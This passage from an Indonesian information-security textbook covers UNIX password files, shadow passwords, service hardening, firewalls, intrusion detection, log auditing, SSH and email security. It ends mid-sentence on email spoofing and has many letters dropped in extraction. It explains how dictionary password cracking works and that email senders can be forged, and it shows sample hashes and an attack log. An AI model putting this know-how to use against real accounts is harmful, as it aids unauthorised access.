dingkan dengan userid dan password yang berada di sistem. Apabila

keduanya valid, pemakai yang bersangkutan diperbolehkan memakai  

sistem. Apabila ada yang salah, pemakai tidak dapat memakai   sistem.

Informasi tentang kesalahan ini biasanya dicatat dalam berkas log.

Besarnya informasi yang dicatat bergantung kepada konfigurasi dari sistem

setempat. Misalnya, ada yang menuliskan informasi apabila pemakai

memasukkan userid dan password yang salah sebanyak tiga kali. Ada juga

yang langsung menuliskan informasi ke dalam berkas log meskipun baru

satu kali salah. Informasi tentang waktu kejadian juga dicatat. Selain itu asal

hubungan (connection) juga dicatat sehingga administrator dapat

memeriksa keabsahan hubungan.

Setelah proses authentication, pemakai diberikan akses sesuai dengan level

yang dimilikinya melalui sebuah access control. Access control ini biasanya

dilakukan dengan mengelompokkan pemakai dalam “group”. Ada group

yang berstatus pemakai biasa, ada tamu, dan ada juga administrator atau

super user yang memiliki kemampuan lebih dari group lainnya.

Pengelompokan ini disesuaikan dengan kebutuhan dari pemakaian  sistem

anda. Di lingkungan kampus mungkin ada kelompok mahasiswa, staf,

karyawan, dan administrator. Sementara itu di lingkungan bisnis mungkin

ada kelompok finance, engineer, marketing, dan seterusnya.

 79

Mengatur akses (Access Control)

Password di sistem UNIX

Akses ke sistem UNIX memakai   password yang biasanya disimpan di

dalam berkas /etc/passwd. Di dalam berkas ini disimpan nama, userid,

password, dan informasi-informasi lain yang digunaka  oleh bermacam-

macam program. Contoh isi berkas password dapat dilihat di bawah ini.

root:fi3sED95ibqR7:0:1:System Operator:/:/sbin/sh

daemon:*:1:1::/tmp:

rahard:d98skjhj9l:72:98::/home/rahard:/bin/csh

Pada sistem UNIX lama, biasanya berkas /etc/passwd ini “ readable”,

yaitu dapat dibaca oleh siapa saja. Meskipun kolom password di dalam

berkas itu berisi “encrypted password” (password yang sudah terenkripsi),

akan tetapi ini merupakan potensi sumber lubang keaman n. Seorang

pemakai yang nakal, dapat mengambil berkas ini (karen  “readable”),

misalnya men-download berkas ini ke komputer di rumahnya, atau

mengirimkan berkas ini kepada kawannya. Ada program tertentu yang

dapat digunakan untuk memecah password ini . Con oh program ini

antara lain: crack (UNIX), viper (perl script), dan cracker jack (DOS).

TABLE 6. Penjelasan contoh isi berkas password

Field Isi

rahard Nama atau userid pemakai

d98skjhj9l password yang sudah terenkripsi (encrypted pass-

word)

72 UID, user identification number

98 GID, group identification number

Nama lengkap dari pemakai (sering juga disebut 

GECOSa atau GCOS field)

a. GECOS = General Electric Computer Operating System. Di masa lalu, 

pemakai juga memiliki account di komputer yang lebih besar, yaitu kom-

puter GECOS. Informasi ini disimpan dalam berkas ini u tuk memudah-

kan batch job yang dijalankan melalui sebuah Remote J b Entry. [18]

/home/rahard home directory dari pemakai

/bin/csh shell dari pemakai

Mengamankan Sistem Informasi

80  

Program “password cracker” ini tidak dapat mencari tahu kata kunci dari

kata yang sudah terenkripsi. Akan tetapi, yang dilakukan oleh program ini

yaitu  melakukan coba-coba (brute force attack). Salah satu caranya yaitu 

mengambil kata dari kamus (dictionary) lalu  mengenkripsinya.

Apabila hasil enkripsi ini  sama dengan password yang sudah

terenkripsi (encrypted password), maka kunci atau passwordnya ketemu.

Selain melakukan “lookup” dengan memakai   kamus, biasanya

program “password cracker” ini  memiliki beberapa algoritma

heuristic seperti menambahkan angka di belakangnya, atau membaca dari

belakang (terbalik), dan seterusnya. Inilah sebabny jangan memakai  

password yang terdapat dalam kamus, atau kata-kata yang umum digunakan

(seperti misalnya nama kota atau lokasi terkenal).

Shadow Password

Salah satu cara untuk mempersulit pengacau untuk mendapatkan berkas

yang berisi password (meskipun terenkripsi) yaitu  dengan memakai  

“shadow password”. Mekanisme ini memakai   berkas /etc/shadow

untuk menyimpan encrypted password, sementara kolom password di

berkas /etc/passwd berisi karakter “x”. Berkas /etc/shadow tidak

dapat dibaca secara langsung oleh pemakai biasa.

Latihan 9. Perhatikan sistem UNIX anda. Apakah sistem itumemakai   fasilitas shadow password atau tidak?

Memilih password

Dengan adanya kemungkinan password ditebak, misalnya dengan

memakai   program password cracker, maka memilih password

memerlukan perhatian khusus. Berikut ini yaitu  daftar hal-hal yang

sebaiknya tidak digunakan sebagai password.

• Nama anda, nama istri / suami anda, nama anak, ataupun nama kawan.

• Nama komputer yang anda gunakan.

• Nomor telepon atau plat nomor kendaran anda.

• Tanggal lahir.

• Alamat rumah.

 81

Menutup servis yang tidak digunakan

• Nama tempat yang terkenal.

• Kata-kata yang terdapat dalam kamus (bahasa Indonesia maupun bahasa

Inggris).

• Password dengan karakter yang sama diulang-ulang.

• Hal-hal di atas ditambah satu angka.

Menutup servis yang tidak digunakan

Seringkali sistem (perangkat keras dan/atau perangkat lunak) diberikan

dengan beberapa servis dijalankan sebagai default. Sebagai contoh, pada

sistem UNIX servis-servis berikut sering dipasang dari vendornya: finger,

telnet, ftp, smtp, pop, echo, dan seterusnya. Servis ini  tidak semuanya

dibutuhkan. Untuk mengamankan sistem, servis yang tidak diperlukan di

server (komputer) ini  sebaiknya dimatikan. Sudah banyak kasus yang

menunjukkan abuse dari servis ini , atau ada lubang keamanan dalam

servis ini  akan tetapi sang administrator tidak menyadari bahwa servis

ini  dijalankan di komputernya.

Latihan 10. Periksa sistem UNIX anda, servis apa saja yangdijalankan di sana? Dari mana anda tahu servis-servis yangdijalankan?

Servis-servis di sistem UNIX ada yang dijalankan dari “ inetd” dan ada yang

dijalankan sebagai daemon. Untuk mematikan servis yang dijalankan

dengan memakai   fasilitas inet, periksa berkas /etc/inetd.conf,

matikan servis yang tidak digunakan (dengan memberikan tanda komentar

#) dan memberitahu inetd untuk membaca berkas konfigurasinya (dengan

memberikan signal HUP kepada PID dari proses inetd).

unix# ps -aux | grep inetd

105 inetd

unix# kill -HUP 105

Untuk sistem Solaris atau yang berbasis System V, gunakan perintah “ps -

eaf” sebagai pengganti perintah “ps -aux”. Lebih jelasnya silahkan baca

manual dari perintah ps.

Mengamankan Sistem Informasi

82  

Untuk servis yang dijalankan sebagai daemon dan dijalankan pada waktu

startup (boot), perhatikan skrip boot dari sistem anda.

• SunOS: /etc/rc.*

• Linux Debian: /etc/init.d/*

Memasang Proteksi

Untuk lebih meningkatkan keamanan sistem informasi, proteksi dapat

ditambahkan. Proteksi ini dapat berupa filter (secara umum) dan yang lebih

spesifik yaitu  firewall. Filter dapat digunakan untuk memfilter e-mail,

informasi, akses, atau bahkan dalam level packet. Sebagai contoh, di sistem

UNIX ada paket program “tcpwrapper” yang dapat digunakan untuk

membatasi akses kepada servis atau aplikasi tertentu. Misalnya, servis

untuk “telnet” dapat dibatasi untuk untuk sistem yang memiliki nomor IP

tertentu, atau memiliki domain tertentu. Sementara firewall dapat

digunakan untuk melakukan filter secara umum.

Untuk mengetahui apakah server anda memakai   tcpwrapper atau tidak,

periksa isi berkas /etc/inetd.conf. Biasanya tcpwrapper dirakit

menjadi “tcpd”. Apabila servis di server anda (misalnya telnet atau ftp)

dijalankan melalui tcpd, maka server anda memakai   tcpwrapper.

Biasanya, konfigurasi tcpwrapper (tcpd) diletakkan di berkas /etc/

hosts.allow dan /etc/hosts.deny.

Firewall

Firewall merupakan sebuah perangkat yang diletakkan antara Internet

dengan jaringan internal (Lihat Figure 4.1 on page 83). Informasi yang

keluar atau masuk harus melalui firewall ini.

 83

Firewall

Tujuan utama dari firewall yaitu  untuk menjaga (prevent) agar akses (ke

dalam maupun ke luar) dari orang yang tidak berwenang (unauthorized

access) tidak dapat dilakukan. Konfigurasi dari firewall bergantung kepada

kebijaksanaan (policy) dari organisasi yang bersangkutan, yang dapat dibagi

menjadi dua jenis:

• apa-apa yang tidak diperbolehkan secara eksplisit dianggap tidak

diperbolehkan (prohibitted)

• apa-apa yang tidak dilarang secara eksplisit dianggp diperbolehkan

(permitted)

Firewall bekerja dengan mengamati paket IP (Internet Protocol) yang

melewatinya. Berdasarkan konfigurasi dari firewall maka akses dapat diatur

berdasarkan IP address, port, dan arah informasi. Detail dari konfigurasi

bergantung kepada masing-masing firewall.

Firewall dapat berupa sebuah perangkat keras yang sudah dilengkapi

dengan perangkat lunak tertentu, sehingga pemakai (dministrator) tinggal

melakukan konfigurasi dari firewall ini . Firewall juga dapat berupa

perangkat lunak yang ditambahkan kepada sebuah server (baik UNIX

maupun Windows NT), yang dikonfigurasi menjadi firewall. Dalam hal ini,

sebetulnya perangkat komputer dengan prosesor Intel 80486 sudah cukup

untuk menjadi firewall yang sederhana.

Internet

Firewall

Jaringan

Internal

GAMBAR 4.1. Contoh sebuah Firewall

Mengamankan Sistem Informasi

84  

Firewall biasanya melakukan dua fungsi; fungsi (IP) filtering dan fungsi

proxy. Keduanya dapat dilakukan pada sebuah perangkt komputer (device)

atau dilakukan secara terpisah.

Beberapa perangkat lunak berbasis UNIX yang dapat digunakan untuk

melakukan IP filtering antara lain:

• ipfwadm: merupakan standar dari sistem Linux yang dapat diktifkan

pada level kernel

• ipchains: versi baru dari Linux kernel packet filtering yang diharapkan

dapat menggantikan fungsi ipfwadm

Fungsi proxy dapat dilakukan oleh berbagai software te gantung kepada

jenis proxy yang dibutuhkan, misalnya web proxy, rlogin proxy, ftp proxy

dan seterusnya. Di sisi client sering kalai dibutuhkan software tertentu agar

dapat memakai   proxy server ini, seperti misalnya dengan

memakai   SOCKS. Beberapa perangkat lunak berbasis UNIX untuk

proxy antara lain:

• Socks: proxy server oleh NEC Network Systems Labs

• Squid: web proxy server

Informasi mengenai firewall secara lebih lengkap dapat dibaca pada

referensi [29, 37] atau untuk sistem Linux dapat dilakukan dengan

mengunjungi web site berikut: <http://www.gnatbox.cm>.

Satu hal yang perlu diingat bahwa adanya firewall bukan menjadi jaminan

bahwa jaringan dapat diamankan seratus persen. Firewall ini  sendiri

dapat memiliki masalah. Sebagai contoh, Firewall Gauntlet yang dibuat

oleh Network Associates Inc. (NAI) mengalami masalah1 sehingga dapat

melewatkan koneksi dari luar yang seharusnya tidak boleh lewat. Padahal

Gauntlet didengung-dengungkan oleh NAI sebagai “The World’s Most

1. Tanggal 22 Mei 2000 ditemukan masalah dalam Gauntlet (versi 4.1, 4.2, 5.0, dan 5.5) 

oleh Jim Stickley (seorang konsultan keamana dari Grison Technologies) dimana jika 

paket Cyber Patrol filtering dipasang, maka ada kemungkinan koneksi dari luar yang 

seharusnya tidak boleh lewat firewall ternyata dilewatkan. Ternyata ada masalah “buffer 

overflow” di server ini . Hal ini hanya terjadi jika Cyber Patrol diaktifkan. http://

www.securityfocus.com/news/40

 85

Pemantau adanya serangan

Secure Firewall”. Inti yang ingin kami sampaikan yaitu  bahwa meskipun

sudah memakai   firewall, keamanan harus tetap dipantau secara

berkala.

Pemantau adanya serangan

Sistem pemantau (monitoring system) digunakan untuk mengetahui adanya

tamu tak diundang (intruder) atau adanya serangan (attack). Nama lain dari

sistem ini yaitu  “intruder detection system” (IDS). Sistem ini dapat

memberitahu administrator melalui e-mail maupun melalui mekanisme lain

seperti melalui pager.

Ada berbagai cara untuk memantau adanya intruder. Ada yang sifatnya aktif

dan pasif. IDS cara yang pasif misalnya dengan memonitor logfile. Contoh

software IDS antara lain:

• Autobuse, mendeteksi probing dengan memonitor logfile.

• Courtney dan portsentry, mendeteksi probing (port scanning) dengan

memonitor packet yang lalu lalang. Portsentry bahkan dapat

memasukkan IP penyerang dalam filter tcpwrapper (langsung

dimasukkan kedalam berkas /etc/hosts.deny)

• Shadow dari SANS

• Snort, mendeteksi pola (pattern) pada paket yang lewat dan

mengirimkan alert jika pola ini  terdeteksi. Pola-p la atau rules

disimpan dalam berkas yang disebut library yang dapat dikonfigurasi

sesuai dengan kebutuhan.

Pemantau integritas sistem

Pemantau integritas sistem dijalankan secara berkala untuk menguji

integratitas sistem. Salah satu contoh program yangumum digunakan di

sistem UNIX yaitu  program Tripwire. Program paket Tripwire dapat

digunakan untuk memantau adanya perubahan pada berks. Pada mulanya,

tripwire dijalankan dan membuat database mengenai berkas-berkas atau

Mengamankan Sistem Informasi

86  

direktori yang ingin kita amati beserta “signature” dari berkas ini .

Signature berisi informasi mengenai besarnya berkas, pan dibuatnya,

pemiliknya, hasil checksum atau hash (misalnya dengan memakai  

program MD5), dan sebagainya. Apabila ada perubahan p da berkas

ini , maka keluaran dari hash function akan berbeda dengan yang ada di

database sehingga ketahuan adanya perubahan.

Audit: Mengamati Berkas Log

Segala (sebagian besar) kegiatan pemakaian  sistem dapat dicatat dalam

berkas yang biasanya disebut “logfile” atau “log” saja. Berkas log ini sangat

berguna untuk mengamati penyimpangan yang terjadi. Kegagalan untuk

masuk ke sistem (login), misalnya, tersimpan di dalam berkas log. Untuk itu

para administrator diwajibkan untuk rajin memelihara dan menganalisa

berkas log yang dimilikinya.

Letak dan isi dari berkas log bergantung kepada operating system yang

digunakan. Di sistem berbasis UNIX, biasanya berkas ini berada di direktori

/var/adm atau /var/log. Contoh berkas log yang ada di sistem Linux

Debian dapat dilihat pada Table 7 on page 86.

.

TABLE 7. Berkas Log di sistem Debian Linux

Nama Berkas Keterangan

/var/adm/auth.log Berisi informasi yang berhubungan dengan authenti-

cation. Gagal login, misalnya, dicatat pada berkas ini.

/var/adm/daemon.log Informasi mengenai program-program daemon seperti 

BIND, Sendmail, dsb.

/var/adm/mail.log Berisi informasi tentang e-mail yang dikirimkan dan 

diterima oleh MTA (sendmail) serta akses ke sistem 

email melalui POP dan IMAP.

/var/adm/syslog Berisi pesan yang dihasilkan oleh program syslog. 

Kegagalan login tercatat di sini.

 87

Audit: Mengamati Berkas Log

Sebagai contoh, berikut ini yaitu  cuplikan baris is  dari berkas /var/adm/

auth.log:

Apr  8 08:47:12 xact passwd[8518]: password for `inet' changed 

by root

Apr  8 10:02:14 xact su: (to root) budi on /dev/ttyp3

Baris pertama menunjukkan bawah password untuk pemakai “inet” telah

diganti oleh “root”. Baris kedua menunjukkan bahwa pemakai (user) yang

bernama “budi” melakukan perintah “su” (substitute user) dan menjadi

user “root” (super user). Kedua contoh di atas menunjukkan entry yang

nampaknya normal, tidak mengandung security hole, dengan asumsi pada

baris kedua memang pemakai “budi” diperbolehkan menjadi root. Contoh

entry yang agak mencurigakan yaitu  sebagai berikut.

Apr  5 17:20:10 alliance wu-ftpd[12037]: failed login from 

ws170.library.msstate.edu [130.18.249.170], m1

Apr  9 18:41:47 alliance login[12861]: invalid password for 

`budi' on `ttyp0' from `ppp15.isp.net.id'

Baris di atas menunjukkan kegagalan untuk masuk ke sistem melalui

fasilitas FTP (baris pertama) dan telnet (baris kedua). Pada baris kedua

terlihat bahwa user “budi” (atau yang mengaku sebagai user “budi”)

mencoba masuk melalui login dan gagal memberikan password yang valid.

Hal ini bisa terjadi karena ketidak sengajaan, salah memasukkan password,

atau bisa juga karena sengaja ingin mencoba-coba masuk dengan userid

“budi” dengan password coba-coba. Cara coba-coba ini sering dilakukan

dengan mengamati nama user yang berada di sistem ini  (misalnya

dengan memakai   program finger untuk mengetahui keberadaan

sebuah user).

Contoh berikut diambil dari isi berkas /var/adm/mail.log, yang

berfungsi untuk mencatat aktivitas yang berhubungan dengan sistem mail.

Apr  9 18:40:31 mx1 imapd[12859]: Login faiure 

user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P

^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^

P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P 

host=vhost.txg.wownet.net

Apr  9 18:40:32 mx1 imapd[12859]: Success, while reading line 

user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P

Mengamankan Sistem Informasi

88  

^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^

P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P 

host=vhost.txg.wownet.net

Contoh di atas menunjukkan hal yang sedikit aneh dari akses ke servis

email melalui IMAP (ditunjukkan dengan kata “imapd” yang merupakan

server dari servis IMAP). Pertama, user yang digunakan tidak valid. Kedua,

kebetulan administrator tidak memiliki remote user yang berasal dari host

yang disebut di atas. Setelah diselidiki, ternyata memang ada lubang

keamanan dari implementasi “mapd” yang digunakan. Ini diketahui

setelah melihat informasi yang ada di web site CERT (See “Sumber

informasi dan organisasi yang berhubungan dengan keamanan sistem

informasi” on page 153.). Untuk itu administrator cepat-cepat menutup

servis imap ini , mengambil dan memasang versi baru dari im pd yang

tidak memiliki lubang keamanan ini .

Contoh-contoh di atas hanya merupakan sebagian kecil dar  kegiatan

menganalisa berkas log. Untuk sistem yang cukup ramai, isalnya sebuah

perguruan tinggi dengan jumlah pemakai yang ribuan, analisa berkas log

merupakan satu pekerjaan tersendiri (yang melelahkan). Untuk itu adanya

tools yang dapat membantu administrator untuk memproses dan

menganalisa berkas log merupakan sesuatu yang sangat penting. Ada

beberapa tools sederhana yang menganalia berkas log untuk mengamati

kegagalan (invalid password, login failure, dan sebagainya) lalu 

memberikan ringkasan. Tools ini dapat dijalankan setiap pagi dan

mengirimkan hasilnya kepada administrator.

Backup secara rutin

Seringkali tamu tak diundang (intruder) masuk ke dalam sistem dan

merusak sistem dengan menghapus berkas-berkas yang dapat ditemui. Jika

intruder ini berhasil menjebol sistem dan masuk sebagai super user

(administrator), maka ada kemungkinan dia dapat menghapus seluruh

berkas. Untuk itu, adanya backup yang dilakukan secara rutin merupakan

sebuah hal yang esensial. Bayangkan apabila yang dihapus oleh tamu ini

yaitu  berkas penelitian, tugas akhir, skripsi, yang telah dikerjakan

bertahun-tahun.

 89

pemakaian  Enkripsi untuk meningkatkan keamanan

Untuk sistem yang sangat esensial, secara berkala per u dibuat backup yang

letaknya berjauhan secara fisik. Hal ini dilakukan u tuk menghindari

hilangnya data akibat bencana seperti kebakaran, banjir, dan lain

sebagainya. Apabila data-data dibackup akan tetapi diletakkan pada lokasi

yang sama, kemungkinan data akan hilang jika tempat yang bersangkutan

mengalami bencana seperti kebakaran.

pemakaian  Enkripsi untuk meningkatkan 

keamanan

Salah satau mekanisme untuk meningkatkan keamanan ad lah dengan

memakai   teknologi enkripsi. Data-data yang anda kirimkan diubah

sedemikian rupa sehingga tidak mudah disadap. Banyak servis di Internet

yang masih memakai   “plain text” untuk authentication, seperti

pemakaian  pasangan userid dan password. Informasi ini dapat dilihat

dengan mudah oleh program penyadap atau pengendus (sniffer).

Contoh servis yang memakai   plain text antara lain:

• akses jarak jauh dengan memakai   telnet dan rlogin

• transfer file dengan memakai   FTP

• akses email melalui POP3 dan IMAP4

• pengiriman email melalui SMTP

• akses web melalui HTTP

pemakaian  enkripsi untuk remote akses (misalnya mel lui ssh sebagai

penggani telnet atau rlogin) akan dibahas di bagian tersendiri.

Telnet atau shell aman

Telnet atau remote login digunakan untuk mengakses sebuah “remote site”

atau komputer melalui sebuah jaringan komputer. Akses ini dilakukan

dengan memakai   hubungan TCP/IP dengan memakai   userid dan

password. Informasi tentang userid dan password ini ikirimkan melalui

Mengamankan Sistem Informasi

90  

jaringan komputer secara terbuka. Akibatnya ada kemungkinan seorang

yang nakal melakukan “sniffing” dan mengumpulkan informasi tentang

pasangan userid dan password ini1.

Untuk menghindari hal ini, enkripsi dapat digunakan u tuk melindungi

adanya sniffing. Paket yang dikirimkan dienkripsi dengan algoritma DES

atau Blowish (dengan memakai   kunci session yangdipertukarkan via

RSA atau Diffie-Hellman) sehingga tidak dapat dibaca oleh orang yang

tidak berhak. Salah satu implementasi mekanisme ini yaitu  SSH (Secure

Shell). Ada beberapa implementasi SSH ini, antara lin:

• ssh untuk UNIX (dalam bentuk source code, gratis,

mengimplementasikan protokol SSH versi 1 dan versi 2)

• SSH untuk Windows95 dari Data Fellows (komersial, ssh versi 1 dan

versi 2)

http://www.datafellows.com/

• TTSSH, yaitu skrip yang dibuat untuk Tera Term Pro (gratis, untuk

Windows 95, ssh versi 1)

http://www.paume.itb.ac.id/rahard/koleksi

• SecureCRT untuk Windows95 (shareware / komersial)

• putty (SSH untuk Windows yang gratis, ssh versi 1). Selain

menyediakan ssh, paket putty juga dilengkapi dengan pscp yang

mengimplementasikan secure copy sebagai pengganti FTP.

1. Meskipun cara ini biasanya membutuhkan akses “root”.

 91

BAB 5 Keamanan Email

Email merupakan aplikasi yang paling utama di jaringa  Internet. Hampir

setiap orang yang memakai   Internet memiliki alam t email. Saat ini

akan aneh jika anda tidak memiliki alamat email. Kemampuan

memakai   email sama esensialnya dengan kemampuan memakai  

telepon.

Sistem email sudah sangat pentingnya sehingga banyak or ng akan

mengeluh jika sistem email tidak dapat bekerja. Bahkan banyak bisnis yang

dilakukan dengan memakai   email. Dapat dibayangk jika sistem

email tidak dapat bekerja dalam waktu yang lama.

Ada beberapa masalah keamanan yang terkait dengan sistem email, yaitu:

• disadap

• dipalsukan

• disusupi (virus)

• spamming

• mailbomb

• mail relay

Keamanan Email

92  

Sebelum mendiskusikan permasalahan email, ada baikny  ita kenali dulu

sistem email. Sistem email terdiri dari dua komponen utama, yaitu Mail

User Agent (MUA), dan Mail Tranfer Agent (MTA).

MUA merupakan komponen yang digunakan oleh pengguna email.

Biasanya dia yang disebut program mail. Contoh MUA yaitu  Eudora,

Netscape, Outlook, Pegasus, Thunderbird, pine, mutt, elm, mail, dan masih

banyak lainnya lagi. MUA digunakan untuk menuliskan email seperti

halnya mesin ketik digunakan untuk menulis surat jaman dahulu.

MTA merupakan program yang sesungguhnya mengantar em il. Biasanya

dia dikenal dengan istilah mailer. MTA ini biasanya bukan urusan

pengguna, akan tetapi merupakan urusan dari administrator. Contoh MTA

antara lain postfix, qmail, sendmail, exchange, MDaemon, Mercury, dan

seterusnya.

Format Email

Agar sistem email dapat berjalan dengan sempurna da ti k bergantung

kepada vendor atau program tertentu, didefinisikan beberapa standar.

Standar pertama yaitu  RFC 822 yang mendefinisikan format dari email.

Standar ini lalu  diperbaharui menjadi RFC 2822.

Email memiliki dua komponen, yaitu header dan body. Header ini seperti

amplop pada pemakaian  surat biasa. Dia berisi alamat tujuan, alamat

pengirim dan hal-hal yang perlu diketahui untuk menga tarkan email

ini . Body berisi isi dari surat itu sendiri. Header dan body ini

dipisahkan minimal oleh satu baris yang kosong. Berikut ini yaitu  contoh

format dari sebuah email.

From: <br@paume.itb.ac.id>

To: budi@hotmail.com

Subject: Ujian diundur

Ujian kuliah saya akan diundur sampai ada pengumuman

berikutnya. Mohon maaf atas ketidaknyamanan.

-- budi

 93

Format Email

--

Dosen kuliah XYZ

Bagaian atas, yang tercetak miring, merupakan bagian d ri header.

lalu  ada satu baris kosong dan diikuti dengan body.

Kembali ke masalah standar. Dalam sistem surat konvensional pun ada

standar penulisan amplop. Biasanya alamat tujuan dari surat dituliskan di

depan, agak ke kanan bawah. Sementara itu alamat pengirim dapat

dituliskan di bagian belakang amplop atau di kiri atas. Jika anda langgar

aturan ini maka surat anda bisa tidak sampai ke tujuan. Coba anda tuliskan

nama anda (pengirim) di bagian depan dari amplop, agak ke sebelah kanan.

Sementara alamat yang anda tuju anda tuliskan di belakang amplop. Surat

akan sampai ke anda, bukan ke alamat yang dituju.

Demikian pula pada sistem email, ada standar header. H ader dapat

memiliki beberapa field yang baku, seperti “From:”, “To:”, “Subject:”, dan

seterusnya. Nama field ini  langsung disambung de an tanda titik dua

dan minimal sebuah spasi sebelum diisi dengan datany . Sebagai contoh,

alamat pengirim dicatat dengan field “From:”. Alamat tujuan email tercatat

dalam field “To:”, dan seterusnya.

Ada banyak field-field lain yang biasanya juga digunakan seperti “Date:”,

“Cc:”, “Bcc:”. Tapi, ada juga field yang ada di email namun biasanya tidak

terlihat, seperti “Message-ID:”, “Recevied:”, dan masih banyak lainnya

lagi.

Kita juga dapat mendefinisikan field kita sendiri, yang biasanya dimulai

dengan huruf “X” dan garis (dash). Misalnya, saya bisa membuat field “X-

Kota:” untuk menyatakan kota saya, yang lalu  saya isi dengan kata

Bandung sehingga menjadi “X-Kota: Bandung”.

Berikut ini yaitu  contoh header sebuah email, lengkap dengan field-field

lainnya.

Received: from nic.cafax.se (nic.cafax.se [192.71.228.17])

by alliance.globalnetlink.com (8.9.1/8.9.1) with ESMTP

id QAA31830 for <budi@alliance.globalnetlink.com>; 

Mon, 26 Mar 2001 16:18:01 -0600

Keamanan Email

94  

Received: from localhost (localhost [[UNIX: localhost]])

by nic.cafax.se (8.12.0.Beta6/8.12.0.Beta5) 

id f2QLSJVM018917 for ietf-provreg-outgoing; 

Mon, 26 Mar 2001 23:28:19 +0200 (MEST)

Received: from is1-55.antd.nist.gov (is1-50.antd.nist.gov 

[129.6.50.251])by nic.cafax.se (8.12.0.Beta5/

8.12.0.Beta5) with ESMTP id f2QLSGiM018912

for <ietf-provreg@cafax.se>; 

Mon, 26 Mar 2001 23:28:17 +0200 (MEST)

Received: from barnacle (barnacle.antd.nist.gov 

[129.6.55.185])

by is1-55.antd.nist.gov (8.9.3/8.9.3) with SMTP 

id QAA07174

for <ietf-provreg@cafax.se>; 

Mon, 26 Mar 2001 16:28:14 -0500 (EST)

Message-ID: <04f901c0b63b$16570020$b9370681@antd.nist.gov>

From: "Scott Rose" <scottr@antd.nist.gov>

To: <ietf-provreg@cafax.se>

Subject: confidentiality and transfers

Date: Mon, 26 Mar 2001 16:24:05 -0500

MIME-Version: 1.0

X-Mailer: Microsoft Outlook Express 5.50.4133.2400

Sender: owner-ietf-provreg@cafax.se

Precedence: bulk

Dapat dilihat pada contoh di atas ada field-field yang belum diuraikan.

Penjelasan lebih lengkap mengenai field apa saja yang dianggap standar,

dapat dilihat di RFC 822.

Body dari email diletakkan setelah header dalam bentuk teks (ASCII).

Bagaimana dengan berkas biner (surat.doc, file.zip, gambar.jpg, lagu.mp3)

yang sering kita kirimkan dalam bentuk attachment? Pada prinsipnya berkas

ini dikodekan ke dalam bentuk ASCII, misalnya denga memakai  

UUDECODE/UUENCODE, base64, dan beberapa coding lainnya.

Pemilihan kode ini biasanya terkait dengan efisiensi saja.

Mekanisme untuk menyisipkan berkas yang sudah dikode an ini ke dalam

body dari email dijabarkan dalam RFC yang terkait dengan MIME.

Latihan 11. Anda diminta untuk melihat bagaimana berkas binerdisisipkan pada email. Caranya yaitu  kirim email ke diri

 95

Penyadapansendiri dengan sebuah attachment (bisa berupa berkasgambar ataupun berkas yang di-zip). lalu  gunakanmekanisme program MUA anda untuk menampilkan emaildalam format mentah (raw). Encoding apakah yangdigunakan oleh program email anda? uudecode? base64?

Setelah kita mengerti mengenai standar email, mari kita mulai

mendiskusikan permasalahan keamanan dari sistem email.

Penyadapan

Email sering dianalogikan dengan surat di dunia komunikasi konvensional.

Akan tetapi sebetulnya email lebih cocok dianalogikan sebagai kartu pos,

yaitu terbuka. Pengantar surat (Pak Pos), pada prinsipnya dapat membaca

apa yang tertulis di sebuah kartu pos. Demikian pula sistem email pada

prinsipnya dia terbuka dapat siapa saja yang dilalui sistem email ini .

Email dikirimkan dari komputer kita ke “kantor pos” terdekat, yaitu mail

server (sering juga disebut SMTP server) yang kita gunakan. Oleh server

mail kita, email ini  diproses dan dikirimkan ke server berikutnya, dan

seterusnya sampai ke server email yang dituju, dan lalu  ke mailbox

dari pengguna email yang dituju.

Setiap server yang dilalui membubuhi tanda dengan me a bahkan header

“Recevied:”. Perhatikan contoh email pada bagian sebelumnya. Anda bisa

melihat banyaknya baris yang berisi field “Received:” ini . Urutan

penambahan stempel ini yaitu  dari bawah ke atas. Dengan kata lain, mail

server yang baru saja menerima email ini  membubuhkan tanda

Recived di bagian teratas. Potensi penyadapan dapat terjadi pada setiap

jalur yang dilalui, termasuk pada server yang menjadi perantara email

ini .

Potensi penyadapan ini dapat terjadi karena pengiriman email

memakai   protokol SMTP (Simple Mail Transport Protocol)1 yang

tidak memakai   enkripsi sama sekali. Jika kita ber da pada satu jaringan

yang sama dengan orang yang mengirim email, atau yang dilalui oleh email,

Keamanan Email

96  

maka kita bisa menyadap email dengan memantau port 25, yaitu port yang

digunakan oleh SMTP.

Demikian pula untuk mengambil email, biasanya digunakan protokol POP

(Post Office Protocol)1. Protokol yang memakai   port 110 ini juga tidak

memakai   enkripsi dalam transfer datanya. Ketika seorang pengguna

mengambil email melalui POP ke mail server, maka kita bisa menyadap

data yang melewati jaringan ini .

Agar email aman dari penyadapan maka perlu digunaka enkripsi untuk

mengacak isi dari email. Header dari email tetap tidak dapat dienkripsi

karena nanti akan membingungkan MTA. (Bayangkan jika anda

menyandikan tulisan tujuan surat yang akan anda kirim. Pak Pos pun akan

kebingungan.)

Dahulu, proses enkripsi dari email harus dilakukan secara manual oleh

pengguna. Dia harus mengenkripsi pesan atau data yang ingin dia kirimkan

dengan sebuah program, lalu  menyisipkan (attach) berkas ini  ke

dalam email. Ini sangat merepotkan. Saat ini sudah ada beberapa program

(tools) yang dapat mempermudah atau mengotomasi ini emua. Contoh

program ini  antara lain Pretty Good Privacy (PGP), GnuPG, dan PEM.

Email Palsu

Membuat surat palsu tidak terlalu sukar. Kita tinggal tuliskan nama dan

alamat pengirim sesuka kita. Bahkan kita dapat berpura- ura berasal dari

kota lain. Surat palsu ini lalu  bisa kita kirimkan melalui kantor pos

terdekat.

Demikian pula membuat email palsu tidak terlalu sukar. Kita tinggal

menuliskan informasi yang salah di header dari email. (Misalnya kita

konfigurasikan sistem email kita dengan mengatakan bahwa kita yaitu  si-

1. SMTP dijabarkan oleh RFC 821, dan lalu  diperbaharui menjadi RFC 2821, “The 

Simple Mail Transfer Protocol”.

1. POP dijabarkan oleh RFC 1939.

 97

Email Palsu

doel@hotmail.com.) Email yang palsu ini lalu  kita serahkan kepada

MTA untuk dikirimkan ke tempat yang dituju. Maka MTA akan melakukan

